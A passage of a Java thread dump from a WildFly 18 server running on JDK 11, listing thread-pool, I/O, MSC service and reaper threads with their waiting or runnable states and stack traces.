org.wildfly.clustering.service@18.0.1.Final//org.wildfly.clustering.service.concurrent.ClassLoaderThreadFactory.lambda$newThread$0(ClassLoaderThreadFactory.java:47) + at org.wildfly.clustering.service@18.0.1.Final//org.wildfly.clustering.service.concurrent.ClassLoaderThreadFactory$$Lambda$872/0x0000000840b96840.run(Unknown Source) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 59" #86 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 62" #89 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 78" #147 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 64" #92 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 77" #146 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 28" #53 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 23" #48 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 76" #144 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 60" #87 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 38" #63 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Timer-1" #132 [WAITING] on java.util.TaskQueue@4fd59fab + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.Object.wait(Object.java:328) + at java.base@11.0.5/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.5/java.util.TimerThread.run(Timer.java:506) + +"ServerService Thread Pool -- 2" #27 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-2" #108 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 71" #101 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 1" #26 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65d7ecb + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-19" #125 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 72" #102 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-16" #122 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"ForkJoinPool.commonPool-worker-19" #142 daemon [TIMED_WAITING] on java.util.concurrent.ForkJoinPool@6e4ed796 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:275) + at java.base@11.0.5/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1619) + at java.base@11.0.5/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:177) + +"ServerService Thread Pool -- 7" #32 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 55" #82 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"MSC service thread 1-4" #19 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.5/java.lang.ref.Reference.processPendingReferences(Reference.java:241) + at java.base@11.0.5/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:213) + +"ServerService Thread Pool -- 69" #99 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 32" #57 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Reference Reaper #3" #141 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@621ac6f5 + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.5.1.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"MSC service thread 1-1" #16 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 20" #45 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 15" #40 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 74" #104 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-8" #114 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-12" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 54" #81 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 43" #70 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Transaction Reaper" #137 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@22931bbc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:90) + +"MSC service thread 1-8" #23 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 10" #35 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 21" #46 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-9" #115 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 24" #49 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 27" #52 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 35" #60 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"MSC service thread 1-7" #22 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"default I/O-20" #126 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-18" #124 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"IdleRemover" #130 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@31284290 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2211) + at org.jboss.ironjacamar.impl@1.4.17.Final//org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 34" #59 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 79" #148 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 81" #150 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 82" #151 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at 